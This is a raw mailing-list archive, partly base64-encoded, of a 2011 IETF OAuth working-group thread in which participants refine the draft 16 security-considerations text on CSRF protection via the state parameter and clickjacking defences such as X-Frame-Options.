d2hpY2ggTVVTVCB0aGVuIHZhbGlkYXRlIHRoZSBzdGF0ZQ0KPiBwYXJhbWV0ZXIgbWF0Y2hlcyBv biB0aGUgcmVzcG9uc2UuIFVzZSBvZiB0aGUgc3RhdGUgcGFyYW1ldGVyIGJ5IGEgY2xpZW50DQo+ IHByb3RlY3RzIGFnYWluc3QgdGhpcyBzdHlsZSBvZiBhdHRhY2sgYXMgdGhlIGF0dGFja2VyIGNh bm5vdCBrbm93IHRoZSBzdGF0ZQ0KPiBwYXJhbWV0ZXIgYXNzb2NpYXRlZCB3aXRoIHRoZSB2aWN0 aW1zIGJyb3dzZXIgc2Vzc2lvbiBhdCB0aGUgY2xpZW50Lg0KPiBXaGlsZSBzZW5kaW5nIHRoZSBz dGF0ZSBwYXJhbWV0ZXIgaXMgdGhlIHByZWZlcnJlZCBtZWNoYW5pc20gZm9yIGxpbmtpbmcNCj4g dGhlIGNsaWVudCB0byB0aGUgYXV0aG9yaXphdGlvbiByZXF1ZXN0cyBhbmQgY2FsbGJhY2tzLCBh IHN0YXRlIHBhcmFtZXRlcg0KPiAocykgZW1iZWRkZWQgaW50byB0aGUgcmVkaXJlY3QgdXJpIGNv dWxkIGJlIHVzZWQgZm9yIHRoZSBzYW1lIHB1cnBvc2UuIEENCj4gcHJlcmVxdWlzaXRlIGlzIHRo YXQgdGhlIGF1dGhvcml6YXRpb24gc2VydmVyJ3MgdXJpIHZhbGlkYXRpb24gcG9saWN5IG11c3Qg YWxsb3cNCj4gZm9yIGR5bmFtaWMgdXJpIHF1ZXJ5IHBhcnRzLg0KPiANCj4gDQo+IENsaWNramFj a2luZw0KPiBDbGlja2phY2tpbmcgaXMgdGhlIHByb2Nlc3Mgb2YgdHJpY2tpbmcgdXNlcnMgaW50 byByZXZlYWxpbmcgY29uZmlkZW50aWFsDQo+IGluZm9ybWF0aW9uIG9yIHRha2luZyBjb250cm9s IG9mIHRoZWlyIGNvbXB1dGVyIHdoaWxlIGNsaWNraW5nIG9uIHNlZW1pbmdseQ0KPiBpbm5vY3Vv dXMgd2ViIHBhZ2VzLiBJbiBtb3JlIGRldGFpbCwgYSBtYWxpY2lvdXMgc2l0ZSBsb2FkcyB0aGUg dGFyZ2V0IHNpdGUgaW4gYQ0KPiB0cmFuc3BhcmVudCBpZnJhbWUgb3ZlcmxhaWQgb24gdG9wIG9m IGEgc2V0IG9mIGR1bW15IGJ1dHRvbnMgd2hpY2ggYXJlDQo+IGNhcmVmdWxseSBjb25zdHJ1Y3Rl ZCB0byBiZSBwbGFjZWQgZGlyZWN0bHkgdW5kZXIgaW1wb3J0YW50IGJ1dHRvbnMgb24gdGhlDQo+ IHRhcmdldCBzaXRlLiBXaGVuIGEgdXNlciBjbGlja3MgYSB2aXNpYmxlIGJ1dHRvbiwgdGhleSBh cmUgYWN0dWFsbHkgY2xpY2tpbmcgYQ0KPiBidXR0b24gKHN1Y2ggYXMgYW4gIkF1dGhvcml6ZSIg YnV0dG9uKSBvbiB0aGUgaGlkZGVuIHBhZ2UuDQo+IFRvIHByZXZlbnQgY2xpY2tqYWNraW5nIChh bmQgcGhpc2hpbmcgYXR0YWNrcyksIG5hdGl2ZSBhcHBsaWNhdGlvbnMgU0hPVUxEDQo+IHVzZSBl eHRlcm5hbCBicm93c2VycyBpbnN0ZWFkIG9mIGVtYmVkZGluZyBicm93c2VycyBpbiBhbiBpRnJh bWUgd2hlbg0KPiByZXF1ZXN0aW5nIGVuZC11c2VyIGF1dGhvcml6YXRpb24uIEZvciBuZXdlciBi cm93c2VycywgYXZvaWRhbmNlIG9mDQo+IGlGcmFtZXMgY2FuIGJlIGVuZm9yY2VkIHNlcnZlciBz aWRlIGJ5IHVzaW5nIHRoZSBYLUZSQU1FLU9QVElPTiBoZWFkZXIuDQo+IFRoaXMgaGVhZGVyIGNh biBoYXZlIHR3byB2YWx1ZXMsIGRlbnkgYW5kIHNhbWVvcmlnaW4sIHdoaWNoIHdpbGwgYmxvY2sg YW55DQo+IGZyYW1pbmcgb3IgZnJhbWluZyBieSBzaXRlcyB3aXRoIGEgZGlmZmVyZW50IG9yaWdp biwgcmVzcGVjdGl2ZWx5LiBGb3Igb2xkZXINCj4gYnJvd3NlcnMsIGphdmFzY3JpcHQgZnJhbWVi dXN0aW5nIHRlY2huaXF1ZXMgY2FuIGJlIHVzZWQgYnV0IG1heSBub3QgYmUNCj4gZWZmZWN0aXZl IGluIGFsbCBicm93c2Vycy4NCj4gDQo+IFJlZ2FyZHMNCj4gDQo+IEVyYW4gSGFtbWVyLUxhaGF2 IDxlcmFuQGh1ZW5pdmVyc2UuY29tPiB3cm90ZSBvbiAwNC8wNy8yMDExIDIwOjAyOjAyOg0KPiAN Cj4gPiBGcm9tOg0KPiA+DQo+ID4gRXJhbiBIYW1tZXItTGFoYXYgPGVyYW5AaHVlbml2ZXJzZS5j b20+DQo+ID4NCj4gPiBUbzoNCj4gPg0KPiA+IE1hcmsgTWNnbG9pbi9JcmVsYW5kL0lCTUBJQk1J RSwgVG9yc3RlbiBMb2RkZXJzdGVkdA0KPiA8dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXQ+DQo+ID4N Cj4gPiBDYzoNCj4gPg0KPiA+ICJvYXV0aEBpZXRmLm9yZyIgPG9hdXRoQGlldGYub3JnPg0KPiA+ DQo+ID4gRGF0ZToNCj4gPg0KPiA+IDA0LzA3LzIwMTEgMjA6MDENCj4gPg0KPiA+IFN1YmplY3Q6 DQo+ID4NCj4gPiBSZTogW09BVVRILVdHXSBEcmFmdCAxNiBTZWN1cml0eSBDb25zaWRlcmF0aW9u cyBhZGRpdGlvbnMNCj4gPg0KPiA+IFRoaXMgbmVlZHMgdG8gYmUgcmV3b3JrZWQgdG8gcmVmbGVj dCByZWFsaXR5LiBUaGUgc3RhdGUgdmFsdWUgbXVzdCBiZQ0KPiA+IHNoYXJlZCB3aXRoIHRoZSBy ZXNvdXJjZSBvd25lcidzIGJyb3dzZXIgYW5kIGF1dGhvcml6YXRpb24gc2VydmVyLCBzbw0KPiA+ IGl0IGlzIG5vdCByZWFsbHkgYSBzZWNyZXQga25vd24gb25seSB0byB0aGUgY2xpZW504oCmDQo+ ID4NCj4gPiBFSEwNCj4gPg0KPiA+IEZyb206IE1hcmsgTWNnbG9pbiA8bWFyay5tY2dsb2luQGll LmlibS5jb20+DQo+ID4gRGF0ZTogV2VkLCAxIEp1biAyMDExIDExOjI4OjMzIC0wNzAwDQo+ID4g VG86IFRvcnN0ZW4gTG9kZGVyc3RlZHQgPHRvcnN0ZW5AbG9kZGVyc3RlZHQubmV0Pg0KPiA+IENj OiAib2F1dGhAaWV0Zi5vcmciIDxvYXV0aEBpZXRmLm9yZz4NCj4gPiBTdWJqZWN0OiBSZTogW09B VVRILVdHXSBEcmFmdCAxNiBTZWN1cml0eSBDb25zaWRlcmF0aW9ucyBhZGRpdGlvbnMNCj4gPg0K PiA+IEhpIFRvcnN0ZW4NCj4gPg0KPiA+IEl0IHdhcyBpbXBsaWNpdCB0aGF0IHRoZSBzdGF0ZSBw YXJhbWV0ZXIgd291bGQgYmUgc2VjcmV0IGFuZCBub3QNCj4gZ3Vlc3NhYmxlDQo+ID4gYnV0IHRo YXQgaXQgcHJvYmFibHkgd29ydGggc3BlbGxpbmcgb3V0LCBhcyB5b3UgYW5kIEJyZW5vIHN0YXRl LiBIZXJlDQo+ID4gaXMNCj4gYQ0KPiA+IG1vZGlmaWVkIHZlcnNpb24NCj4gPg0KPiA+IENTUkYN Cj4gPiBDcm9zcy1TaXRlIFJlcXVlc3QgRm9yZ2VyeSAoQ1NSRikgaXMgYSB3ZWItYmFzZWQgYXR0 YWNrIHdoZXJlYnkgSFRUUA0KPiA+IHJlcXVlc3RzIGFyZSB0cmFuc21pdHRlZCBmcm9tIGEgdXNl ciB0aGF0IHRoZSB3ZWJzaXRlIHRydXN0cyBvciBoYXMNCj4gPiBhdXRoZW50aWNhdGVkLiBDU1JG IGF0dGFja3Mgb24gT0F1dGggYXBwcm92YWxzIGNhbiBhbGxvdyBhbiBhdHRhY2tlcg0KPiA+IHRv IG9idGFpbiBhdXRob3JpemF0aW9uIHRvIE9BdXRoIFByb3RlY3RlZCBSZXNvdXJjZXMgd2l0aG91 dCB0aGUNCj4gPiBjb25zZW50IG9mIHRoZSBVc2VyLg0KPiA+IFRoZSBzdGF0ZSBwYXJhbWV0ZXIg c2hvdWxkIGJlIHVzZWQgdG8gbWl0aWdhdGUgYWdhaW5zdCBDU1JGIGF0dGFja3MsDQo+ID4gcGFy dGljdWxhcmx5IGZvciBsb2dpbiBDU1JGIGF0dGFja3MuIEl0IGlzIHN0cm9uZ2x5IFJFQ09NTUVO REVEIHRoYXQNCj4gPiB0aGUgY2xpZW50IHNlbmRzIHRoZSBzdGF0ZSBwYXJhbWV0ZXIgd2l0aCBh dXRob3JpemF0aW9uIHJlcXVlc3RzIHRvDQo+ID4gdGhlIGF1dGhvcml6YXRpb24gc2VydmVyLiBU aGUgc3RhdGUgcGFyYW1ldGVyIE1VU1QgYmUgbm9uLWd1ZXNzYWJsZQ0KPiA+IGFuZCBNVVNUDQo+ IGJlDQo+ID4gYSBzZWNyZXQgb25seSBhY2Nlc3NpYmxlIHRvIHRoZSBjbGllbnQuIFRoZSBhdXRo b3JpemF0aW9uIHNlcnZlciB3aWxsDQo+IHNlbmQNCj4gPiBpdCBpbiB0aGUgcmVzcG9uc2Ugd2hl biByZWRpcmVjdGluZyB0aGUgdXNlciB0byBiYWNrIHRvIHRoZSBjbGllbnQNCj4gPiB3aGljaCBN VVNUIHRoZW4gdmFsaWRhdGUgdGhlIHN0YXRlIHBhcmFtZXRlciBtYXRjaGVzIG9uIHRoZSByZXNw b25zZS4NCj4gPg0KPiA+IFJlZ2FyZHMNCj4gPiBNYXJrDQo+ID4NCj4gPiBUb3JzdGVuIExvZGRl cnN0ZWR0IDx0b3JzdGVuQGxvZGRlcnN0ZWR0Lm5ldD4gd3JvdGUgb24gMDEvMDYvMjAxMQ0KPiAw OToxMTozMToNCj4gPg0KPiA+IEZyb206DQo+ID4NCj4gPiBUb3JzdGVuIExvZGRlcnN0ZWR0IDx0 b3JzdGVuQGxvZGRlcnN0ZWR0Lm5ldD4NCj4gPg0KPiA+IFRvOg0KPiA+DQo+ID4gTWFyayBNY2ds b2luL0lyZWxhbmQvSUJNQElCTUlFDQo+ID4NCj4gPiBDYzoNCj4gPg0KPiA+IG9hdXRoQGlldGYu b3JnDQo+ID4NCj4gPiBEYXRlOg0KPiA+DQo+ID4gMDEvMDYvMjAxMSAwOToxMQ0KPiA+DQo+ID4g U3ViamVjdDoNCj4gPg0KPiA+IFJlOiBbT0FVVEgtV0ddIERyYWZ0IDE2IFNlY3VyaXR5IENvbnNp ZGVyYXRpb25zIGFkZGl0aW9ucw0KPiA+DQo+ID4gSGkgTWFyaywNCj4gPg0KPiA+IEFtIDMxLjA1 LjIwMTEgMjI6NTgsIHNjaHJpZWIgTWFyayBNY2dsb2luOg0KPiA+ID4gRXJhbg0KPiA+ID4NCj4g PiA+IEhlcmUgYXJlIHNvbWUgYWRkaXRpb25hbCBzZWN0aW9ucyB0byBhZGQgdG8gdGhlIG5leHQg ZHJhZnQgdW5kZXINCj4gPiBzZWN1cml0eQ0KPiA+ID4gY29uc2lkZXJhdGlvbnMNCj4gPiA+DQo+ ID4gPiBDU1JGDQo+ID4gPiBDcm9zcy1TaXRlIFJlcXVlc3QgRm9yZ2VyeSAoQ1NSRikgaXMgYSB3 ZWItYmFzZWQgYXR0YWNrIHdoZXJlYnkgSFRUUA0KPiA+ID4gcmVxdWVzdHMgYXJlIHRyYW5zbWl0 dGVkIGZyb20gYSB1c2VyIHRoYXQgdGhlIHdlYnNpdGUgdHJ1c3RzIG9yIGhhcw0KPiA+ID4gYXV0 aGVudGljYXRlZC4gQ1NSRiBhdHRhY2tzIG9uIE9BdXRoIGFwcHJvdmFscyBjYW4gYWxsb3cgYW4g YXR0YWNrZXINCj4gPiA+IHRvIG9idGFpbiBhdXRob3JpemF0aW9uIHRvIE9BdXRoIFByb3RlY3Rl ZCBSZXNvdXJjZXMgd2l0aG91dCB0aGUNCj4gPiA+IGNvbnNlbnQNCj4gPiBvZg0KPiA+ID4gdGhl IFVzZXIuDQo+ID4gPiBUaGUgc3RhdGUgcGFyYW1ldGVyIHNob3VsZCBiZSB1c2VkIHRvIG1pdGln YXRlIGFnYWluc3QgQ1NSRiBhdHRhY2tzLA0KPiA+ID4gcGFydGljdWxhcmx5IGZvciBsb2dpbiBD U1JGIGF0dGFja3MuIEl0IGlzIHN0cm9uZ2x5IFJFQ09NTUVOREVEIHRoYXQNCj4gPiB0aGUNCj4g PiA+IGNsaWVudCBzZW5kcyB0aGUgc3RhdGUgcGFyYW1ldGVyIHdpdGggYXV0aG9yaXphdGlvbiBy ZXF1ZXN0cyB0byB0aGUNCj4gPiA+IGF1dGhvcml6YXRpb24gc2VydmVyLiBUaGUgYXV0aG9yaXph dGlvbiBzZXJ2ZXIgd2lsbCBzZW5kIGl0IGluIHRoZQ0KPiA+IHJlc3BvbnNlDQo+ID4gPiB3aGVu IHJlZGlyZWN0aW5nIHRoZSB1c2VyIHRvIGJhY2sgdG8gdGhlIGNsaWVudCB3aGljaCBTSE9VTEQg dGhlbg0KPiA+IHZhbGlkYXRlDQo+ID4gPiB0aGUgc3RhdGUgcGFyYW1ldGVyIG1hdGNoZXMgb24g dGhlIHJlc3BvbnNlLg0KPiA+DQo+ID4gQXMgZmFyIGFzIEkgdW5kZXJzdGFuZCwgdGhlIGdvYWwg b2YgdGhlIGNvdW50ZXJtZWFzdXJlIGlzIHRvIGJpbmQgdGhlDQo+ID4gYXV0aHogZmxvdyB0byBh IGNlcnRhaW4gdXNlciBhZ2VudCAoaW5zdGFuY2UpLiBTbyBjbGllbnQgbXVzdCB2ZXJpZnkNCj4g PiB0aGF0IHRoZSBzdGF0ZSBwYXJhbWV0ZXIgKG9yIGFueSBvdGhlciBVUkwgcGFyYW1ldGVyPykg bWF0Y2hlcyBzb21lDQo+ID4gZGF0YSBmb3VuZCBpbiB0aGUgdXNlciBhZ2VudCBpdHNlbGYgYmVm b3JlIGZ1cnRoZXIgcHJvY2Vzc2luZyB0aGUgYXV0aHoNCj4gY29kZS4NCj4gPg0KPiA+IEJyZW5v IGV4cGxhaW5lZCBpdCBhcyBmb2xsb3dzOg0KPiA+IC0tLS0tDQo+ID4gLSBDbGllbnQgb3IgdXNl ci1hZ2VudCBnZW5lcmF0ZXMgYSBzZWNyZXQuDQo+ID4gLSBUaGUgc2VjcmV0IGlzIHN0b3JlZCBp biBhIGxvY2F0aW9uIGFjY2Vzc2libGUgb25seSBieSB0aGUgY2xpZW50IG9yDQo+ID4gdGhlIHVz ZXIgYWdlbnQgKGkuZS4sIHByb3RlY3RlZCBieSBzYW1lLW9yaWdpbiBwb2xpY3kpLiBFLmcuOiBE T00NCj4gPiB2YXJpYWJsZSAocHJvdGVjdGVkIGJ5IGphdmFzY3JpcHQgb3Igb3RoZXIgRE9NLWJp bmRpbmcgbGFuZ3VhZ2Uncw0KPiA+IGVuZm9yY2VtZW50IG9mIFNPUCksIEhUVFAgY29va2llLCBI VE1MNSBjbGllbnQtc2lkZSBzdG9yYWdlLCBldGMuDQo+ID4gLSBUaGUgc2VjcmV0IGlzIGF0dGFj aGVkIHRvIHRoZSBzdGF0ZSBiZWZvcmUgYSByZXF1ZXN0IGlzIGlzc3VlZCBieQ0KPiA+IHRoZSBj bGllbnQNCj4gPiAtIFdoZW4gdGhlIHJlc3BvbnNlIGlzIHJlY2VpdmVkLCBiZWZvcmUgYWNjZXB0 aW5nIHRoZSB0b2tlbiBvciBjb2RlLA0KPiA+IHRoZSBjbGllbnQgY29uc3VsdHMgdGhlIHVzZXIg YWdlbnQgc3RhdGUgYW5kIHJlamVjdHMgdGhlIHJlc3BvbnNlDQo+ID4gYWx0b2dldGhlciBpZiB0 aGUgc3RhdGUgZG9lcyBub3QgbWF0Y2ggdGhlIHVzZXIgYWdlbnQncyBzdG9yZWQgdmFsdWUuDQo+ ID4gLS0tLQ0KPiA+DQo+ID4gSSB3b3VsZCBzdWdnZXN0IHRvIGluY29ycG9yYXRlIHRoaXMgaW50 byB0aGUgZGVjcmlwdGlvbjoNCj4gPg0KPiA+IEl0IGlzIHN0cm9uZ2x5IFJFQ09NTUVOREVEIHRo YXQgdGhlIGNsaWVudCBzZW5kcyB0aGUgc3RhdGUgcGFyYW1ldGVyDQo+ID4gd2l0aCBhdXRob3Jp emF0aW9uIHJlcXVlc3RzIHRvIHRoZSBhdXRob3JpemF0aW9uIHNlcnZlci4gX1RoZSBzdGF0ZQ0K PiA+IHBhcmFtZXRlciBNVVNUIHJlZmVyIHRvIGEgc2VjcmV0IHZhbHVlIHJldGFpbmVkIGF0IHRo ZSB1c2VyIGFnZW50Ll8NCj4gPiBUaGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgd2lsbCBzZW5kIHRo ZSBfc3RhdGUgcGFyYW1ldGVyXyBpbiB0aGUNCj4gPiByZXNwb25zZSB3aGVuIHJlZGlyZWN0aW5n IHRoZSB1c2VyIHRvIGJhY2sgdG8gdGhlIGNsaWVudCB3aGljaCBfTVVTVF8NCj4gPiB0aGVuIHZh bGlkYXRlIHRoZSBzdGF0ZSBwYXJhbWV0ZXJfJ3MgdmFsdWUgYWdhaW5zdCB0aGUgc2VjcmV0IHZh bHVlIGluDQo+ID4gdGhlIHVzZXIgYWdlbnRfLg0KPiA+DQo+ID4gcmVnYXJkcywNCj4gPiBUb3Jz dGVuLg0KPiA+DQo+ID4gPiBDbGlja2phY2tpbmcNCj4gPiA+IENsaWNramFja2luZyBpcyB0aGUg cHJvY2VzcyBvZiB0cmlja2luZyB1c2VycyBpbnRvIHJldmVhbGluZw0KPiA+IGNvbmZpZGVudGlh bA0KPiA+ID4gaW5mb3JtYXRpb24gb3IgdGFraW5nIGNvbnRyb2wgb2YgdGhlaXIgY29tcHV0ZXIg d2hpbGUgY2xpY2tpbmcgb24NCj4gPiBzZWVtaW5nbHkNCj4gPiA+IGlubm9jdW91cyB3ZWIgcGFn ZXMuIEluIG1vcmUgZGV0YWlsLCBhIG1hbGljaW91cyBzaXRlIGxvYWRzIHRoZQ0KPiA+ID4gdGFy Z2V0DQo+ID4gc2l0ZQ0KPiA+ID4gaW4gYSB0cmFuc3BhcmVudCBpZnJhbWUgb3ZlcmxhaWQgb24g dG9wIG9mIGEgc2V0IG9mIGR1bW15IGJ1dHRvbnMNCj4gPiA+IHdoaWNoDQo+ID4gYXJlDQo+ID4g PiBjYXJlZnVsbHkgY29uc3RydWN0ZWQgdG8gYmUgcGxhY2VkIGRpcmVjdGx5IHVuZGVyIGltcG9y dGFudCBidXR0b25zDQo+ID4gPiBvbg0KPiA+IHRoZQ0KPiA+ID4gdGFyZ2V0IHNpdGUuIFdoZW4g YSB1c2VyIGNsaWNrcyBhIHZpc2libGUgYnV0dG9uLCB0aGV5IGFyZSBhY3R1YWxseQ0KPiA+ID4g Y2xpY2tpbmcgYSBidXR0b24gKHN1Y2ggYXMgYW4gIkF1dGhvcml6ZSIgYnV0dG9uKSBvbiB0aGUg aGlkZGVuIHBhZ2UuDQo+ID4gPiBUbyBwcmV2ZW50IGNsaWNramFja2luZyAoYW5kIHBoaXNoaW5n IGF0dGFja3MpLCBuYXRpdmUgYXBwbGljYXRpb25zDQo+ID4gU0hPVUxEDQo+ID4gPiB1c2UgZXh0 ZXJuYWwgYnJvd3NlcnMgaW5zdGVhZCBvZiBlbWJlZGRpbmcgYnJvd3NlcnMgaW4gYW4gaUZyYW1l DQo+ID4gPiB3aGVuIHJlcXVlc3RpbmcgZW5kLXVzZXIgYXV0aG9yaXphdGlvbi4gRm9yIG5ld2Vy IGJyb3dzZXJzLA0KPiA+ID4gYXZvaWRhbmNlIG9mDQo+ID4gaUZyYW1lcw0KPiA+ID4gY2FuIGJl IGVuZm9yY2VkIHNlcnZlciBzaWRlIGJ5IHVzaW5nIHRoZSBYLUZSQU1FLU9QVElPTiBoZWFkZXIu IFRoaXMNCj4gPiBoZWFkZXINCj4gPiA+IGNhbiBoYXZlIHR3byB2YWx1ZXMsIGRlbnkgYW5kIHNh bWVvcmlnaW4sIHdoaWNoIHdpbGwgYmxvY2sgYW55DQo+ID4gPiBmcmFtaW5nDQo+ID4gb3INCj4g PiA+IGZyYW1pbmcgYnkgc2l0ZXMgd2l0aCBhIGRpZmZlcmVudCBvcmlnaW4sIHJlc3BlY3RpdmVs eS4gRm9yIG9sZGVyDQo+ID4gYnJvd3NlcnMsDQo+ID4gPiBqYXZhc2NyaXB0IGZyYW1lYnVzdGlu ZyB0ZWNobmlxdWVzIGNhbiBiZSB1c2VkIGJ1dCBtYXkgbm90IGJlDQo+ID4gPiBlZmZlY3RpdmUN Cj4gPiBpbg0KPiA+ID4gYWxsIGJyb3dzZXJzLg0KPiA+ID4NCj4gPiA+DQo+ID4gPiBSZWdhcmRz DQo+ID4gPiBNYXJrDQo+ID4gPg0KPiA+ID4gX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX18NCj4gPiA+IE9BdXRoIG1haWxpbmcgbGlzdA0KPiA+ID4gT0F1dGhA aWV0Zi5vcmcNCj4gPiA+IGh0dHBzOi8vd3d3LmlldGYub3JnL21haWxtYW4vbGlzdGluZm8vb2F1 dGgNCj4gPg0KPiA+IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fDQo+ID4gT0F1dGggbWFpbGluZyBsaXN0DQo+ID4gT0F1dGhAaWV0Zi5vcmcNCj4gPiBodHRw czovL3d3dy5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL29hdXRoDQo= From eran@hueniverse.com Thu Jul 7 23:35:42 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 40B4E21F8993 for ; Thu, 7 Jul 2011 23:35:42 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.656 X-Spam-Level: X-Spam-Status: No, score=-2.656 tagged_above=-999 required=5 tests=[AWL=-0.057, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 9zLXZRyS7zTw for ; Thu, 7 Jul 2011 23:35:41 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 66D4B21F8999 for ; Thu, 7 Jul 2011 23:35:41 -0700 (PDT) Received: (qmail 14521 invoked from network); 8 Jul 2011 06:35:41 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 06:35:41 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Thu, 7 Jul 2011 23:35:41 -0700 From: Eran Hammer-Lahav To: Mark Mcgloin Date: Thu, 7 Jul 2011 23:35:37 -0700 Thread-Topic: [OAUTH-WG] Draft 16 Security Considerations additions Thread-Index: Acw79V5Q9VmSrIbGRCqzGIoNhOnUBwBQ7NqQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF89@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 06:35:42 -0000 Q2FuIHRoaXMgYmUgcmV3b3JrZWQgdG8gZGlzY3VzcyB0aGUgYXV0aG9yaXphdGlvbiBlbmRwb2lu dCBzcGVjaWZpY2FsbHk/IFRoZSB1c2Ugb2YgJ3RhcmdldCcgc2l0ZSBpcyBjb25mdXNpbmcuIFRo aXMgc2VjdGlvbiBuZWVkcyB0byBiZSBtdWNoIG1vcmUgc3BlY2lmaWMgdG8gdGhlIGF1dGhvcml6 YXRpb24gcHJvY2Vzcy4NCg0KRUhMDQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4g RnJvbTogTWFyayBNY2dsb2luIFttYWlsdG86bWFyay5tY2dsb2luQGllLmlibS5jb21dDQo+IFNl bnQ6IFdlZG5lc2RheSwgSnVseSAwNiwgMjAxMSA4OjU2IEFNDQo+IFRvOiBFcmFuIEhhbW1lci1M YWhhdg0KPiBDYzogb2F1dGhAaWV0Zi5vcmc7IFRvcnN0ZW4gTG9kZGVyc3RlZHQNCj4gU3ViamVj dDogUmU6IFtPQVVUSC1XR10gRHJhZnQgMTYgU2VjdXJpdHkgQ29uc2lkZXJhdGlvbnMgYWRkaXRp b25zDQo+IA0KPiANCj4gDQo+IENsaWNramFja2luZw0KPiBDbGlja2phY2tpbmcgaXMgdGhlIHBy b2Nlc3Mgb2YgdHJpY2tpbmcgdXNlcnMgaW50byByZXZlYWxpbmcgY29uZmlkZW50aWFsDQo+IGlu Zm9ybWF0aW9uIG9yIHRha2luZyBjb250cm9sIG9mIHRoZWlyIGNvbXB1dGVyIHdoaWxlIGNsaWNr aW5nIG9uIHNlZW1pbmdseQ0KPiBpbm5vY3VvdXMgd2ViIHBhZ2VzLiBJbiBtb3JlIGRldGFpbCwg YSBtYWxpY2lvdXMgc2l0ZSBsb2FkcyB0aGUgdGFyZ2V0IHNpdGUgaW4gYQ0KPiB0cmFuc3BhcmVu dCBpZnJhbWUgb3ZlcmxhaWQgb24gdG9wIG9mIGEgc2V0IG9mIGR1bW15IGJ1dHRvbnMgd2hpY2gg YXJlDQo+IGNhcmVmdWxseSBjb25zdHJ1Y3RlZCB0byBiZSBwbGFjZWQgZGlyZWN0bHkgdW5kZXIg aW1wb3J0YW50IGJ1dHRvbnMgb24gdGhlDQo+IHRhcmdldCBzaXRlLiBXaGVuIGEgdXNlciBjbGlj a3MgYSB2aXNpYmxlIGJ1dHRvbiwgdGhleSBhcmUgYWN0dWFsbHkgY2xpY2tpbmcgYQ0KPiBidXR0 b24gKHN1Y2ggYXMgYW4gIkF1dGhvcml6ZSIgYnV0dG9uKSBvbiB0aGUgaGlkZGVuIHBhZ2UuDQo+ IFRvIHByZXZlbnQgY2xpY2tqYWNraW5nIChhbmQgcGhpc2hpbmcgYXR0YWNrcyksIG5hdGl2ZSBh cHBsaWNhdGlvbnMgU0hPVUxEDQo+IHVzZSBleHRlcm5hbCBicm93c2VycyBpbnN0ZWFkIG9mIGVt YmVkZGluZyBicm93c2VycyBpbiBhbiBpRnJhbWUgd2hlbg0KPiByZXF1ZXN0aW5nIGVuZC11c2Vy IGF1dGhvcml6YXRpb24uIEZvciBuZXdlciBicm93c2VycywgYXZvaWRhbmNlIG9mDQo+IGlGcmFt ZXMgY2FuIGJlIGVuZm9yY2VkIHNlcnZlciBzaWRlIGJ5IHVzaW5nIHRoZSBYLUZSQU1FLU9QVElP TiBoZWFkZXIuDQo+IFRoaXMgaGVhZGVyIGNhbiBoYXZlIHR3byB2YWx1ZXMsIGRlbnkgYW5kIHNh bWVvcmlnaW4sIHdoaWNoIHdpbGwgYmxvY2sgYW55DQo+IGZyYW1pbmcgb3IgZnJhbWluZyBieSBz aXRlcyB3aXRoIGEgZGlmZmVyZW50IG9yaWdpbiwgcmVzcGVjdGl2ZWx5LiBGb3Igb2xkZXINCj4g YnJvd3NlcnMsIGphdmFzY3JpcHQgZnJhbWVidXN0aW5nIHRlY2huaXF1ZXMgY2FuIGJlIHVzZWQg YnV0IG1heSBub3QgYmUNCj4gZWZmZWN0aXZlIGluIGFsbCBicm93c2Vycy4NCg0K From eran@hueniverse.com Thu Jul 7 23:48:38 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 35E8C21F88C7 for ; Thu, 7 Jul 2011 23:48:38 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.655 X-Spam-Level: X-Spam-Status: No, score=-2.655 tagged_above=-999 required=5 tests=[AWL=-0.056, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Td2nClCtHmPc for ; Thu, 7 Jul 2011 23:48:37 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 3FE3421F88C6 for ; Thu, 7 Jul 2011 23:48:37 -0700 (PDT) Received: (qmail 28111 invoked from network); 8 Jul 2011 06:48:37 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 06:48:37 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Thu, 7 